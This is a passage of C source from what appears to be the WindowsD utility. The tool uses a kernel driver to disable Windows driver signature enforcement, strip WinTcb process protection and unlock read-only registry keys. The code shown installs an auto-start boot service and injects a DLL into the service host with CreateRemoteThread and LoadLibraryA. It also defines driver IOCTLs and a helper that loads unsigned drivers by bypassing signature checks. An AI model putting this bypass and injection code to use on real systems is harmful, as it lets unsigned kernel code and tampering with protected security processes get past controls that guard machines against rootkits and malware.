printf("Unload failed %08x\n", (int)status); 531 | } 532 | status = wind_ioctl_string(dev, WIND_IOCTL_INSMOD, svc); 533 | } 534 | if (NT_SUCCESS(status)) { 535 | printf("%S re-loaded.\n", name); 536 | goto outok; 537 | } 538 | printf("Failed to load %S NTSTATUS=%08x", name, (int)status); 539 | goto outclose; 540 | } 541 | printf("%S loaded.", name); 542 | outok: 543 | ret = 1; 544 | outclose:; 545 | wind_close(dev); 546 | return ret; 547 | } 548 | 549 | static int restore_point(char *name) 550 | { 551 | SHELLEXECUTEINFOA shexec = { 552 | .cbSize = sizeof(shexec), 553 | .fMask = SEE_MASK_NOCLOSEPROCESS, 554 | .lpVerb = "open", 555 | .lpFile = FILE_VBS, 556 | .lpParameters = "", 557 | }; 558 | HMODULE lib = LoadLibraryA("SHELL32"); 559 | BOOL (WINAPI *sh)(VOID*) = (void*)GetProcAddress(lib, "ShellExecuteExA"); 560 | DWORD ecode = 1; 561 | FILE *f; 562 | // we can be called before desktop is available, user32.dll could fail 563 | if (!sh) 564 | return 0; 565 | f = fopen(FILE_VBS, "w+"); 566 | fprintf(f, RESTORE_VBS, name); 567 | fclose(f); 568 | if (!sh(&shexec)) 569 | return 0; 570 | printf("Creating restore point..."); fflush(stdout); 571 | WaitForSingleObject(shexec.hProcess,INFINITE); 572 | GetExitCodeProcess(shexec.hProcess, &ecode); 573 | DeleteFileA(FILE_VBS); 574 | return ecode == 123; 575 | } 576 | 577 | static int do_install() 578 | { 579 | WCHAR path[PATH_MAX]; 580 | SC_HANDLE h, scm; 581 | int ret = 0; 582 | NTSTATUS st; 583 | 584 | DBG("doing install"); 585 | 586 | if (!elevate()) 587 | return 0; 588 | st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME)); 589 | (void)st; 590 | DBG("Unloading previous driver %x", (int)st); 591 | 592 | if (!check_driver(1,0)) { 593 | printf("Failed to initialize driver.\n"); 594 | DBG("no driver, exiting"); 595 | return 0; 596 | } 597 | 598 | scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 599 | if (!scm) { 600 | printf("Unable to initialize boot service.\n"); 601 | return 0; 602 | } 603 | wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\" BASENAME ".exe /X"); 604 | DBG("injector=%S",path); 605 | 606 | h = CreateService(scm, L"" BASENAME"inject", L""BASENAME" injector service", SERVICE_ALL_ACCESS, 607 | SERVICE_WIN32_OWN_PROCESS, 608 | #ifdef NDEBUG 609 | SERVICE_AUTO_START, 610 | #else 611 | SERVICE_DEMAND_START, 612 | #endif 613 | SERVICE_ERROR_IGNORE, 614 | path, L"Base", NULL, NULL, NULL, NULL); 615 | if (!h && (GetLastError() == ERROR_SERVICE_EXISTS)) { 616 | DBG("svc already exists"); 617 | h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS); 618 | } 619 | if (h) { 620 | ret = 1; 621 | DBG("attempting to start service"); 622 | StartService(h, 0, NULL); 623 | } else { 624 | DBG("service open failed, %d", (int)GetLastError()); 625 | } 626 | if (ret) { 627 | printf(BASENAME " installed successfuly.\n"); 628 | } else { 629 | printf(BASENAME " installation failed. Use debug version to find out why.\n"); 630 | } 631 | CloseServiceHandle(h); 632 | CloseServiceHandle(scm); 633 | return ret; 634 | } 635 | 636 | static int do_uninstall(int checkonly) 637 | { 638 | HANDLE h, scm; 639 | int ret = 0; 640 | if (!elevate() && !checkonly) 641 | return 0; 642 | scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 643 | if (!scm) return 0; 644 | h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS); 645 | if (!h) 646 | goto out; 647 | if (checkonly) 648 | ret = 1; 649 | else { 650 | printf("Service deleted.\n"); 651 | ret = DeleteService(h); 652 | } 653 | CloseServiceHandle(h); 654 | out:; 655 | CloseServiceHandle(scm); 656 | if (!checkonly) { 657 | NTSTATUS st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME)); 658 | (void)st; 659 | DBG("Unloading previous driver %x", (int)st); 660 | if (ret) { 661 | printf(BASENAME " uninstalled.\n"); 662 | } else { 663 | printf("Some errors during uninstallation (already uninstalled?)\n"); 664 | } 665 | } 666 | return ret; 667 | } 668 | 669 | static int is_installed() 670 | { 671 | return do_uninstall(1); 672 | } 673 | 674 | 675 | static int yesno(char *q) 676 | { 677 | char c; 678 | do { 679 | printf(">> %s [y/n]", q); 680 | c = getchar(); 681 | while (getchar() != '\n'); 682 | } while (tolower(c) != 'y' && tolower(c) != 'n'); 683 | return c == 'y'; 684 | } 685 | 686 | static int interactive_install() 687 | { 688 | printf("We're going to patch deep into windows and something may go awry.\n" 689 | "The changes can be reversed by restoring registry (part of restore).\n" 690 | "Creating a backup you can boot into is STRONGLY advised.\n"); 691 | if (!yesno("Create a system restore point?")) 692 | return 1; 693 | if (!restore_point("Before installing " BASENAME)) { 694 | printf("Restore point creation failed!\n" 695 | "Create restore point manualy NOW and then proceed!\n"); 696 | return yesno("Do you want to proceed with installation?"); 697 | } else printf("Done!\n"); 698 | return 1; 699 | } 700 | 701 | static void enter() 702 | { 703 | while (getchar() != '\n') {}; 704 | } 705 | 706 | static int usage(int interactive) 707 | { 708 | int doit, installed = is_installed(); 709 | 710 | printf( "WindowsD "VERSTR" kat@lua.cz 2016\n\n"); 711 | 712 | printf( 713 | "This program can manipulate various restrictions of Windows:\n" 714 | " * Driver signing ('DSE', which breaks freeware utilities like this one)\n" 715 | " * Process protection ('unkillable processes', WinTCB)\n" 716 | " * Most common methods of 'read only' registry locking\n" 717 | "\n" 718 | ); 719 | 720 | if (!interactive) { 721 | printf("usage: \n" 722 | "\nDriver actions:\n" 723 | " "BASENAME " /I install, disable DSE permanently\n" 724 | " "BASENAME " /U uninstall, re-enable DSE permanently\n" 725 | " "BASENAME " /L [service|driver.sys] load, (or re-load, if present) a driver\n" 726 | "\nMisc actions:\n" 727 | " "BASENAME " /W run interactive installer\n" 728 | " "BASENAME " /D de-protect specified process ID\n" 729 | "\nRegistry actions:\n" 730 | " "BASENAME " /RD <\\Registry\\Path> R/O lock Disable\n" 731 | " "BASENAME " /RE <\\Registry\\Path> R/O lock Enable\n" 732 | " "BASENAME " /ND <\\Registry\\Path> Notify/refresh Disable\n" 733 | " "BASENAME " /NE <\\Registry\\Path> Notify/refresh re-Enable\n" 734 | " "BASENAME " /CD Disable global registry callbacks\n" 735 | " "BASENAME " /CE Re-enable global registry callbacks\n\n" 736 | " Note that Path has to be NT path, such as the following examples:\n" 737 | " \\Registry\\Machine\\System\\CurrentControlSet\\Control\\Services\n" 738 | " \\Registry\\User\\Environment\n" 739 | ); 740 | goto out; 741 | } 742 | 743 | printf("Entering interactive mode (invoke " BASENAME " /? for cmd options)\n\n"); 744 | if (installed) { 745 | printf("Detected running " BASENAME ".\n"); 746 | doit = yesno("Do you wish to uninstall it?"); 747 | } else { 748 | printf(BASENAME " is not installed. Unsigned drivers will not load at boot.\n"); 749 | doit = yesno("Do you wish to install it system-wide?"); 750 | } 751 | 752 | if (doit) { 753 | int ret; 754 | if (installed) { 755 | printf("Uninstalling..."); 756 | ret = do_uninstall(0); 757 | } else { 758 | if (!interactive_install()) 759 | goto cancel; 760 | printf("Installing..."); 761 | ret = do_install(); 762 | } 763 | printf("All done! Press enter to close..."); 764 | enter(); 765 | ExitProcess(ret); 766 | } 767 | cancel:; 768 | printf("Operation cancelled, press enter to close..."); 769 | enter(); 770 | out:; 771 | ExitProcess(1); 772 | } 773 | 774 | static void WINAPI service_ctl(DWORD code) 775 | { 776 | } 777 | 778 | static void inject_parent(int pid) 779 | { 780 | char path[PATH_MAX]; 781 | HANDLE hthr, hp = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); 782 | void *lla, *dst; 783 | DBG("opened pid=%d handle=%p err=%d",pid,hp,(int)GetLastError()); 784 | dst = VirtualAllocEx(hp, NULL, 4096, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); 785 | 786 | strcpy(path + GetSystemDirectoryA(path,PATH_MAX), "\\" BASENAME ".dll"); 787 | 788 | DBG("injecting into parent pid=%d h=%p dst=%p path=%s",(int)pid,hp,dst,path); 789 | 790 | if (!WriteProcessMemory(hp, dst, path, strlen(path) + 1, NULL)) { 791 | DBG("writing memory failed %d", (int)GetLastError()); 792 | goto out; 793 | } 794 | 795 | lla = GetProcAddress(GetModuleHandleA("KERNEL32.DLL"),"LoadLibraryA"); 796 | if (!lla) { 797 | DBG("failed to get LoadLibraryA"); 798 | goto out; 799 | } 800 | hthr = CreateRemoteThread(hp, NULL, 0, lla, dst, 0, NULL); 801 | WaitForSingleObject(hthr, INFINITE); 802 | CloseHandle(hthr); 803 | out:; 804 | CloseHandle(hp); 805 | } 806 | 807 | static void fix_boot_drivers() 808 | { 809 | SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 810 | DWORD nserv, sz = 0; 811 | ENUM_SERVICE_STATUS_PROCESS *buf; 812 | QUERY_SERVICE_CONFIG *cfg = NULL; 813 | DWORD cfgsz = 0; 814 | 815 | if (!scm) return; 816 | 817 | EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, 818 | SERVICE_INACTIVE, NULL, 0, &sz, 819 | &nserv, NULL, NULL); 820 | 821 | if (!sz) goto outclose; 822 | buf = malloc(sz); 823 | 824 | if (!EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER, 825 | SERVICE_INACTIVE, (void*)buf, sz, &sz, 826 | &nserv, NULL, NULL)) 827 | goto outfree; 828 | 829 | DBG("got %d services", (int)nserv); 830 | for (int i = 0; i < nserv; i++) { 831 | SERVICE_STATUS_PROCESS *stat = &buf[i].ServiceStatusProcess; 832 | SC_HANDLE sc; 833 | if (stat->dwServiceType > 3) continue; 834 | sc = OpenService(scm, buf[i].lpServiceName, SERVICE_ALL_ACCESS); 835 | retry:; 836 | if (!QueryServiceConfig(sc, cfg, cfgsz, &cfgsz)) { 837 | if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { 838 | cfg = realloc(cfg, cfgsz); 839 | goto retry; 840 | } 841 | CloseServiceHandle(sc); 842 | continue; 843 | } 844 | if (cfg->dwStartType > 1) { 845 | CloseServiceHandle(sc); 846 | continue; 847 | } 848 | DBG("found stale boot service %S, starting",buf[i].lpServiceName); 849 | StartService(sc, 0, NULL); 850 | CloseServiceHandle(sc); 851 | } 852 | free(cfg); 853 | outfree:; 854 | free(buf); 855 | outclose:; 856 | CloseServiceHandle(scm); 857 | } 858 | 859 | static void WINAPI service_main(DWORD argc, WCHAR **argv) 860 | { 861 | SERVICE_STATUS_HANDLE svc = RegisterServiceCtrlHandler(L""BASENAME, service_ctl); 862 | SERVICE_STATUS st = { 863 | .dwServiceType = SERVICE_WIN32_OWN_PROCESS, 864 | .dwCurrentState = SERVICE_START_PENDING 865 | }; 866 | SetServiceStatus(svc, &st); 867 | 868 | st.dwCheckPoint++; 869 | st.dwCurrentState = SERVICE_STOPPED; 870 | st.dwWin32ExitCode = 0; 871 | SetServiceStatus(svc, &st); 872 | } 873 | 874 | static int run_service() 875 | { 876 | SERVICE_TABLE_ENTRY s_table[] = { 877 | {L""BASENAME"inject", service_main}, 878 | {NULL, NULL} 879 | }; 880 | ULONG_PTR pbi[6]; 881 | ULONG uls; 882 | HANDLE dev; 883 | int pid; 884 | wind_prot_t prot = {0}; 885 | NTSTATUS st; 886 | 887 | DBG("service launched"); 888 | 889 | StartServiceCtrlDispatcher(s_table); 890 | 891 | // If we're in safe mode, do nothing. 892 | if (GetSystemMetrics(SM_CLEANBOOT)) 893 | return 1; 894 | 895 | elevate(); 896 | 897 | if (!NT_SUCCESS(NtQueryInformationProcess(GetCurrentProcess(), 0, &pbi, sizeof(pbi), &uls))) 898 | return 0; 899 | 900 | pid = pbi[5]; 901 | prot.pid = pid; 902 | DBG("got parent pid=%d",pid); 903 | dev = check_driver(0,1); 904 | if (!dev) { 905 | DBG("no driver, bye"); 906 | return 0; 907 | } 908 | 909 | st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot)); 910 | if (!NT_SUCCESS(st)) { 911 | DBG("failed to unprotect services %08x", (int)st); 912 | wind_close(dev); 913 | return 0; 914 | } 915 | 916 | inject_parent(pid); 917 | 918 | wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot)); 919 | wind_close(dev); 920 | 921 | fix_boot_drivers(); 922 | 923 | return 1; 924 | } 925 | 926 | static int regunlock(int mcmd, WCHAR *p) 927 | { 928 | HANDLE dev; 929 | NTSTATUS status; 930 | int cmd = toupper(*p++); 931 | if ((!cmd) || ((cmd != 'E') && (cmd != 'D'))) 932 | usage(0); 933 | WSKIP(p); 934 | dev = check_driver(0,0); 935 | if (!dev) { 936 | printf("Failed to open/install WinD device.\n"); 937 | return 0; 938 | } 939 | if (mcmd == 'C') { 940 | printf("%sbling global registry callbacks...", cmd=='E'?"Ena":"Disa"); 941 | status = wind_ioctl(dev, WIND_IOCTL_REGCBOFF+((cmd=='E')<<2), NULL, 0); 942 | } else if (cmd == 'D') { 943 | printf("Unlocking %S...", p); 944 | status = wind_ioctl_string(dev, 945 | mcmd=='N' 946 | ?WIND_IOCTL_REGNOFF 947 | :WIND_IOCTL_REGLOCKOFF, p); 948 | } else { 949 | printf("Locking %S...", p); 950 | status = wind_ioctl_string(dev, 951 | mcmd=='N' 952 | ?WIND_IOCTL_REGNON 953 | :WIND_IOCTL_REGLOCKON, p); 954 | } 955 | if (NT_SUCCESS(status)) 956 | printf("OK\n"); 957 | else 958 | printf("error %08x\n", (int)status); 959 | wind_close(dev); 960 | return NT_SUCCESS(status); 961 | } 962 | 963 | void ENTRY(win_main)() 964 | { 965 | int cc, ret = 0; 966 | CONSOLE_SCREEN_BUFFER_INFO csbi; 967 | int explorer = GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi) 968 | && !(csbi.dwCursorPosition.X|csbi.dwCursorPosition.Y); 969 | 970 | WCHAR *cmd = GetCommandLine(); 971 | int quot = *cmd++ == L'"'; 972 | while (*cmd && (quot || (cmd[0]>L' '))) 973 | if (*cmd++ == L'"') 974 | quot ^= 1; 975 | while (*cmd && *cmd<= L' ') 976 | cmd++; 977 | 978 | if ((*cmd != L'/') && (*cmd != L'-')) 979 | usage(explorer); 980 | cmd += 2; 981 | 982 | cc = toupper(cmd[-1]); 983 | switch (cc) { 984 | case 'I': 985 | ret = !!do_install(); 986 | break; 987 | case 'U': 988 | ret = !!do_uninstall(0); 989 | break; 990 | case 'W': 991 | usage(1); 992 | break; 993 | case 'L': 994 | ret = !!load_driver(cmd); 995 | break; 996 | case 'X': 997 | ret = !!run_service(); 998 | break; 999 | case 'D': 1000 | ret = !!unprotect(cmd); 1001 | break; 1002 | case 'R': 1003 | case 'N': 1004 | case 'C': 1005 | ret = !!regunlock(cc, cmd); 1006 | break; 1007 | default: 1008 | usage(0); 1009 | } 1010 | 1011 | if (explorer) { 1012 | printf("Press enter..."); 1013 | enter(); 1014 | } 1015 | ExitProcess(ret); 1016 | } 1017 | 1018 | -------------------------------------------------------------------------------- /wind.h: -------------------------------------------------------------------------------- 1 | // Public API, standalone header. 2 | // Parent includes: windows.h, winternl.h 3 | // Links against ntdll. 4 | 5 | // Open \\Device\\WinD 6 | #define WIND_DEVNAME "WinD" 7 | 8 | // Used to pass initialization. 9 | typedef struct { 10 | UCHAR *ci_opt; 11 | UCHAR *ci_orig; 12 | UCHAR ci_guess; // If ciorigptr is 0, use this guess instead. 13 | int protofs; // _EPROCESS->Flags2 offset on Win7, PS_PROTECTION Win8. 14 | int protbit; // Flags2->ProtectedProcess bit on Win7, -1 otherwise. 15 | int bootreg; // process registry entries at boot 16 | LIST_ENTRY *cblist; 17 | NTSTATUS NTAPI (*pExUpdateLicenseData)(ULONG,PVOID); 18 | NTSTATUS __fastcall (*pExUpdateLicenseData2)(ULONG,PVOID); 19 | } wind_config_t; 20 | #define WIND_POL_MAX 512 21 | 22 | #define WIND_IOCTL_REGCBOFF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) 23 | #define WIND_IOCTL_REGCBON CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) 24 | 25 | // Load a driver. Argument is simply the unicode string. 26 | #define WIND_IOCTL_INSMOD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS) 27 | 28 | // Lock/Unlock registry key. Odd ones are the 'on' command. 29 | #define WIND_IOCTL_REGLOCKON CTL_CODE(FILE_DEVICE_UNKNOWN, 0x811, METHOD_BUFFERED, FILE_ANY_ACCESS) 30 | #define WIND_IOCTL_REGLOCKOFF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x812, METHOD_BUFFERED, FILE_ANY_ACCESS) 31 | #define WIND_IOCTL_REGNON CTL_CODE(FILE_DEVICE_UNKNOWN, 0x813, METHOD_BUFFERED, FILE_ANY_ACCESS) 32 | #define WIND_IOCTL_REGNOFF CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) 33 | 34 | 35 | // Get/set WinTcb process protection. 36 | #define WIND_IOCTL_PROT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x900, METHOD_BUFFERED, FILE_ANY_ACCESS) 37 | typedef struct { 38 | char SignatureLevel; 39 | char SectionSignatureLevel; 40 | char Level; 41 | UCHAR Type:3; 42 | UCHAR Audit:1; 43 | UCHAR Signer:4; 44 | } WIND_PS_PROTECTION; 45 | typedef struct { 46 | LONG_PTR pid; // Pid this is for. Negative = get flags only. 47 | WIND_PS_PROTECTION prot;// New protection flags. Old flags stored in there. 48 | } wind_prot_t; 49 | 50 | // Policy header 51 | typedef struct { 52 | ULONG sz; // Size of everything. 53 | ULONG data_sz; // Always sz-0x18. 54 | ULONG endpad; // End padding. Usually 4. 55 | ULONG tainted; // 1 if tainted. 56 | ULONG pad1; // Always 1 57 | } __attribute((packed)) wind_pol_hdr; 58 | 59 | // Policy entry 60 | typedef struct { 61 | USHORT sz; // Size of whole entry. 62 | USHORT name_sz; // Size of the following field, in bytes. 63 | USHORT type; // Field type 64 | USHORT data_sz; // Field size 65 | ULONG flags; // Field flags 66 | ULONG pad0; // Always 0 67 | UCHAR name[0]; // WCHAR name, NOT zero terminated! 68 | } __attribute__((packed)) wind_pol_ent; 69 | 70 | static int wind_pol_unpack(UCHAR *blob, wind_pol_ent **array) 71 | { 72 | wind_pol_hdr *h = (void*)blob; 73 | wind_pol_ent *e = (void*)blob + sizeof(*h); 74 | void *endptr = ((void*)e) + h->data_sz; 75 | int n = 0; 76 | // Unusual. 77 | if (h->sz >= 65536) 78 | return -1; 79 | if (h->endpad != 4) 80 | return -2; 81 | if (h->data_sz+0x18 != h->sz) 82 | return -3; 83 | if (blob[h->sz-4] != 0x45) 84 | return -4; 85 | while (((void*)e) < endptr) { 86 | array[n++] = e; 87 | e = ((void*)e) + e->sz; 88 | if (n == WIND_POL_MAX) 89 | return -1; 90 | } 91 | return n; 92 | } 93 | 94 | static int wind_pol_pack(UCHAR *dst, wind_pol_ent **array, int n) 95 | { 96 | wind_pol_hdr *h = (void*)dst; 97 | wind_pol_ent *e = (void*)dst + sizeof(*h); 98 | int i = 0; 99 | memset(dst, 0, 65536); 100 | for (i = 0; i < n; i++) { 101 | int total = sizeof(*e) + array[i]->name_sz + array[i]->data_sz; 102 | memcpy(e, array[i], total); 103 | total = (total + 4) & (~3); 104 | e->sz = total; 105 | e = ((void*)e) + total; 106 | h->data_sz += total; 107 | } 108 | h->sz = h->data_sz + 0x18; 109 | h->endpad = 4; 110 | h->pad1 = 1; 111 | dst[h->sz-4] = 0x45; 112 | return h->sz; 113 | } 114 | 115 | // Open the kernel driver 116 | #ifndef _WIND_DRIVER 117 | #define WIND_RTL_STRING(s) ((UNICODE_STRING){sizeof(s)-sizeof((s)[0]),sizeof(s),(s)}) 118 | static HANDLE wind_open() 119 | { 120 | OBJECT_ATTRIBUTES attr = { 121 | .Length = sizeof(attr), 122 | .Attributes = OBJ_CASE_INSENSITIVE, 123 | .ObjectName = &WIND_RTL_STRING(L"\\Device\\" WIND_DEVNAME), 124 | }; 125 | IO_STATUS_BLOCK io; 126 | HANDLE dev; 127 | BOOLEAN old; 128 | extern NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN); 129 | RtlAdjustPrivilege(10, 1, 0, &old); 130 | NTSTATUS status = NtOpenFile(&dev, FILE_GENERIC_READ, &attr, &io, 131 | FILE_SHARE_READ,FILE_NON_DIRECTORY_FILE| FILE_SYNCHRONOUS_IO_NONALERT); 132 | if (status == STATUS_NOT_FOUND) 133 | return NULL; 134 | if (!NT_SUCCESS(status)) 135 | return NULL; 136 | return dev; 137 | } 138 | 139 | // Pass an ioctl. IOCTLs with 9th bit set are read-write, others are write-only. 140 | static NTSTATUS wind_ioctl(HANDLE dev, ULONG num, void *buf, int len) 141 | { 142 | IO_STATUS_BLOCK io; 143 | if (num & (0x100<<2)) { 144 | return NtDeviceIoControlFile(dev, NULL, NULL, NULL, &io, 145 | num, buf, len, buf, len); 146 | } else { 147 | return NtDeviceIoControlFile(dev, NULL, NULL, NULL, &io, 148 | num, buf, len, NULL, 0); 149 | } 150 | } 151 | static NTSTATUS wind_ioctl_string(HANDLE dev, ULONG num, WCHAR *s) 152 | { 153 | return wind_ioctl(dev, num, s, wcslen(s)*2+2); 154 | } 155 | 156 | // Close driver. 157 | static NTSTATUS wind_close(HANDLE dev) 158 | { 159 | extern NTSTATUS NTAPI NtClose(HANDLE); 160 | if (dev) 161 | return NtClose(dev); 162 | return 0; 163 | } 164 | 165 | #ifndef STATUS_IMAGE_CERT_EXPIRED 166 | #define STATUS_IMAGE_CERT_EXPIRED 0xc0000605 167 | #endif 168 | 169 | // Utility: Load a driver with DSE bypass. 170 | static NTSTATUS wind_insmod(WCHAR *svc) 171 | { 172 | UNICODE_STRING svcu; 173 | NTSTATUS status; 174 | 175 | RtlInitUnicodeString(&svcu, svc); 176 | status = NtLoadDriver(&svcu); 177 | // TBD: are these all the evil ones? 178 | if (status == STATUS_IMAGE_CERT_REVOKED 179 | || status == STATUS_INVALID_SIGNATURE 180 | || status == STATUS_INVALID_IMAGE_HASH 181 | || status == STATUS_INVALID_SID 182 | || status == STATUS_IMAGE_CERT_EXPIRED 183 | || status == STATUS_HASH_NOT_PRESENT 184 | || status == STATUS_HASH_NOT_SUPPORTED) { 185 | 186 | HANDLE h = wind_open(); 187 | if (!h) return status; 188 | status = wind_ioctl_string(h, WIND_IOCTL_INSMOD, svc); 189 | wind_close(h); 190 | } 191 | return status; 192 | } 193 | 194 | #endif 195 | 196 | --------------------------------------------------------------------------------